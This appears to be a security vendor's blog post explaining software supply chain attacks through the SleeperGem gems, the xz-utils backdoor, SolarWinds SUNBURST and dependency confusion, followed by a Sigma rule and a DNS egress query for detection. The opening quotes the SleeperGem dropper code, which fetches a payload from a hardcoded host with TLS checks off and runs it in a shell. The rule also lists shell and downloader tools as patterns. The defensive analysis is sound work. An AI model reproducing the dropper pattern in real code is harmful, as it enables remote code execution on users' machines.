What Is Software Supply Chain Security?
HuntRule Team · · 8 min read

On this page
- A gem wakes up
- The working definition
- SleeperGem: hijacked dormant accounts (T1195.001)
- xz-utils: the long game (T1195.001)
- SUNBURST: build pipeline compromise (T1195.002)
- Dependency confusion: the resolver is the vuln
- What a SOC can actually see
- Detection: package manager spawns a shell
- ATT&CK mapping
- Summary
A gem wakes up
Between July 18 and 19, 2026, four versions of a gem called git_credential_manager landed on rubygems.org in roughly nine hours. Version 2.8.0 was already a working dropper. It built a URL against a hardcoded Forgejo host, fetched a payload with certificate verification switched off, and handed it to a shell:
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
endhttp.verify_mode = OpenSSL::SSL::VERIFY_NONEif goos == "windows"
Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
Process.spawn("/bin/sh \"#{full_path}\"")
endAikido and StepSecurity published the analysis on July 19 and named the campaign SleeperGem. That gem, and the account behind it, is as good a definition of software supply chain security as any textbook. The attacker does not breach your perimeter. You run bundle install and breach it for them.
The working definition
Software supply chain security is the defense of everything you install on purpose. Your lockfile is an ingest pipeline for third-party code, and that code executes with the privileges of whoever runs the package manager, usually a developer laptop or a build agent holding cloud credentials. The trust boundary sits at npm install, pip install, gem install and the vendor update channel, not at the firewall. Three registry ecosystems (npm, PyPI, RubyGems) let package authors run arbitrary code at install or import time by design, which is why install scripts keep showing up in every one of the cases below.
Four public cases mark out the attack surface. Each one is a different vector, and each left different telemetry.
SleeperGem: hijacked dormant accounts (T1195.001)
The git_credential_manager gem impersonated Microsoft's Git Credential Manager and came from a maintainer account whose other gems had not been updated since 2019. The attacker also pushed two new versions of Dendreo, a gem first published in 2017, adding git_credential_manager as a dependency so existing users would pull the payload. A third gem, fastlane-plugin-run_tests_firebase_testlab with 574,661 total downloads, belonged to a different maintainer entirely, so more than one dormant account was in play.
Two details matter for detection. First, version 2.8.2 moved execution from install time into the gem's load path, with the payload call left commented out until 2.8.3 uncommented it seventeen minutes later. From then on merely calling require "git_credential_manager" fired the dropper. Second, a skip_install? check scanned for roughly 30 environment variables belonging to GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins and Vercel, and did nothing if it found one. The malware wanted developer laptops, not disposable CI runners. If your sandbox detonation environment looks like CI, this sample shows you nothing.
xz-utils: the long game (T1195.001)
CVE-2024-3094. A maintainer persona under the name Jia Tan spent about two years earning commit access to xz Utils, then shipped a backdoor in liblzma versions 5.6.0 and 5.6.1 in early 2024. The malicious object code hid inside binary test files in the repository, and the build scripts stitched it into the library only under specific distribution build conditions. On systemd-based distros, sshd links liblzma transitively through libsystemd, which gave the backdoor a hook into RSA_public_decrypt and pre-auth code execution on any exposed SSH daemon.
Andres Freund found it on March 29, 2024, because sshd logins were burning around 500ms of extra CPU and valgrind was complaining. Nobody's EDR caught it. A performance anomaly did. That is worth sitting with.
SUNBURST: build pipeline compromise (T1195.002)
The 2020 SolarWinds intrusion injected the SUNBURST implant into SolarWinds.Orion.Core.BusinessLayer.dll during the vendor's own build process, so the trojanized DLL carried a valid SolarWinds digital signature (T1553.002). Up to 18,000 customers downloaded the poisoned Orion updates. The implant slept for 12 to 14 days before doing anything, then resolved DGA subdomains of avsvmcloud[.]com for C2 (T1568.002), running inside SolarWinds.BusinessLayerHost.exe, a process most SOCs had explicitly excluded from monitoring because the vendor recommended it. Signature checking and vendor reputation both failed here. Egress monitoring from the server subnet was the realistic catch.
Dependency confusion: the resolver is the vuln
In February 2021 Alex Birsan published research showing that internal package names leak (in public manifests, in JavaScript bundles, in job postings), and that registering the same name on the public registry with a higher version number got his code executed inside more than 35 companies, including Apple, Microsoft and PayPal. His proof-of-concept packages exfiltrated hostname and username over DNS from preinstall scripts. No account was hijacked and nothing was typosquatted. The package resolver preferred the public registry, and that preference was the entire vulnerability.

What a SOC can actually see
Strip the vectors down and three telemetry seams remain.
Process lineage at install and import time. On Linux, npm lifecycle scripts run as children of node, pip's build hooks run under python, and gem extensions and require-time payloads run under ruby. Collect execve events (auditd, Sysmon for Linux event ID 1, or your EDR equivalent) with full command lines. On Windows, that is event ID 4688 with command-line auditing enabled, watching node.exe or ruby.exe spawning powershell.exe or cmd.exe. SleeperGem's Process.spawn("/bin/sh ...") lands exactly on this seam.
Egress from build agents and developer subnets. Build agents have a small, knowable set of legitimate destinations. git.disroot[.]org should never appear in their DNS logs, and neither should a first-seen DGA subdomain of avsvmcloud[.]com. Sysmon event IDs 3 and 22, Zeek dns.log, or resolver query logs all work.
Registry-side signals. A dependency that suddenly publishes after years of silence, or a lockfile diff pulling a package from the public registry where an internal name was expected. This is pipeline tooling rather than SIEM content, but the alert still needs a queue and an owner.
Detection: package manager spawns a shell
We wrote a Sigma rule for the first seam. It targets Linux process creation telemetry.
title: Package Manager Runtime Spawns Shell Or Downloader
id: 3f2a9c61-8b4e-4d0a-9c1e-7f5d2b8e4a10
status: experimental
description: Detects package manager runtimes spawning a shell or download
utility, the common execution pattern of malicious install scripts and
require-time droppers such as SleeperGem
references:
- https://www.aikido.dev/blog/sleepergem-rubygems-supply-chain-attack
date: 2026-07-31
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/node'
- '/npm'
- '/yarn'
- '/pnpm'
- '/python'
- '/python3'
- '/pip'
- '/pip3'
- '/ruby'
- '/gem'
- '/bundle'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/dash'
- '/zsh'
- '/curl'
- '/wget'
condition: selection_parent and selection_child
falsepositives:
- Native extension builds (node-gyp, pip building wheels) that invoke
compilers through a shell
- Git hook managers such as husky
- Legitimate npm postinstall scripts, which are common
level: medium
tags:
- attack.t1195.001
- attack.t1059.004What it catches. SleeperGem's /bin/sh spawn at both install and require time, curl | bash style postinstall scripts, and Birsan-style preinstall exfiltration that shells out. Note that on Linux npm is itself a Node script, so the observable parent is node, not npm.
What it misses. Payloads that stay in-process, and this is the big one. SleeperGem fetched its second stage with Ruby's own Net::HTTP, which forks nothing. A malicious package that exfiltrates via the language's HTTP library never trips this rule, only the network seam sees it. Compiled native extensions doing the work inside the interpreter's own address space are equally invisible here.
False positives. Expect noise from node-gyp, pip wheel builds and husky on developer machines. On build agents the rule is quiet enough to alert on. On laptops, treat it as a hunting query and baseline first. Pair it with an egress check like:
SELECT query, COUNT(*) AS lookups, MIN(ts) AS first_seen
FROM dns
WHERE src_ip IN (SELECT ip FROM build_agents)
AND ts > NOW() - INTERVAL '24 hours'
AND query NOT IN (SELECT domain FROM egress_allowlist)
GROUP BY query
ORDER BY first_seen DESC;This assumes you can tag build agents as assets and maintain an egress allowlist. If you cannot do either, that gap is finding number one, ahead of any rule.
ATT&CK mapping
Technique | Name | Seen in |
|---|---|---|
T1195.001 | Compromise Software Dependencies and Development Tools | SleeperGem, xz-utils, dependency confusion |
T1195.002 | Compromise Software Supply Chain | SolarWinds SUNBURST |
T1059.001 | PowerShell | SleeperGem Windows path |
T1059.004 | Unix Shell | SleeperGem, npm install scripts |
T1553.002 | Code Signing | SUNBURST signed DLL |
T1568.002 | Dynamic Resolution: DGA | SUNBURST C2 |
Summary
Software supply chain security is the defense of the code you invite in, and the four cases above cover its main vectors, hijacked dormant maintainer accounts, patient malicious maintainership, vendor build pipeline compromise and resolver abuse. None of these were caught at a perimeter. The detections that work are unglamorous, process lineage under package manager runtimes, egress baselines on build agents, and registry-side anomaly checks on your own dependencies. We could not find a public case where signature validation alone stopped any of them. Collect the telemetry first, then write the rules.
Build agents are Linux more often than not, so the process-lineage coverage worth reading first is at /rules?domain=linux.
Collect:
Linux: auditd execve / Sysmon-for-Linux EID 1 (proc creation, cmdline)
Windows: EID 4688 (with cmdline auditing), Sysmon EID 1, 3, 22
Network: DNS query logs from build/dev subnets, Zeek dns.log
Techniques:
T1195.001, T1195.002, T1059.001, T1059.004, T1553.002, T1568.002
Cases referenced:
SleeperGem (RubyGems, 2026), CVE-2024-3094 (xz-utils, 2024),
SUNBURST (SolarWinds, 2020), dependency confusion (Birsan, 2021)Related articles

What Is a Build Pipeline Compromise?
SolarWinds.Orion.Core.BusinessLayer.dll shipped with a valid SolarWinds Authenticode signature and a backdoor inside the same assembly. The git history was clean. The certificate was the real one.…
2026-06-149 min read

What is CI/CD security?
On 14 and 15 March 2025 the tags v1 through v45.0.7 of tj-actions/changed-files were repointed to commit 0e58ed8. The injected updateFeatures code read secrets out of the runner process and printed…
2026-05-2712 min read

What Is Typosquatting in Package Repositories?
On 19 July 2017 an npm user named hacktask published a package called crossenv. The popular package is cross-env. The squat read the environment variables of whatever machine installed it and sent…
2026-05-2110 min read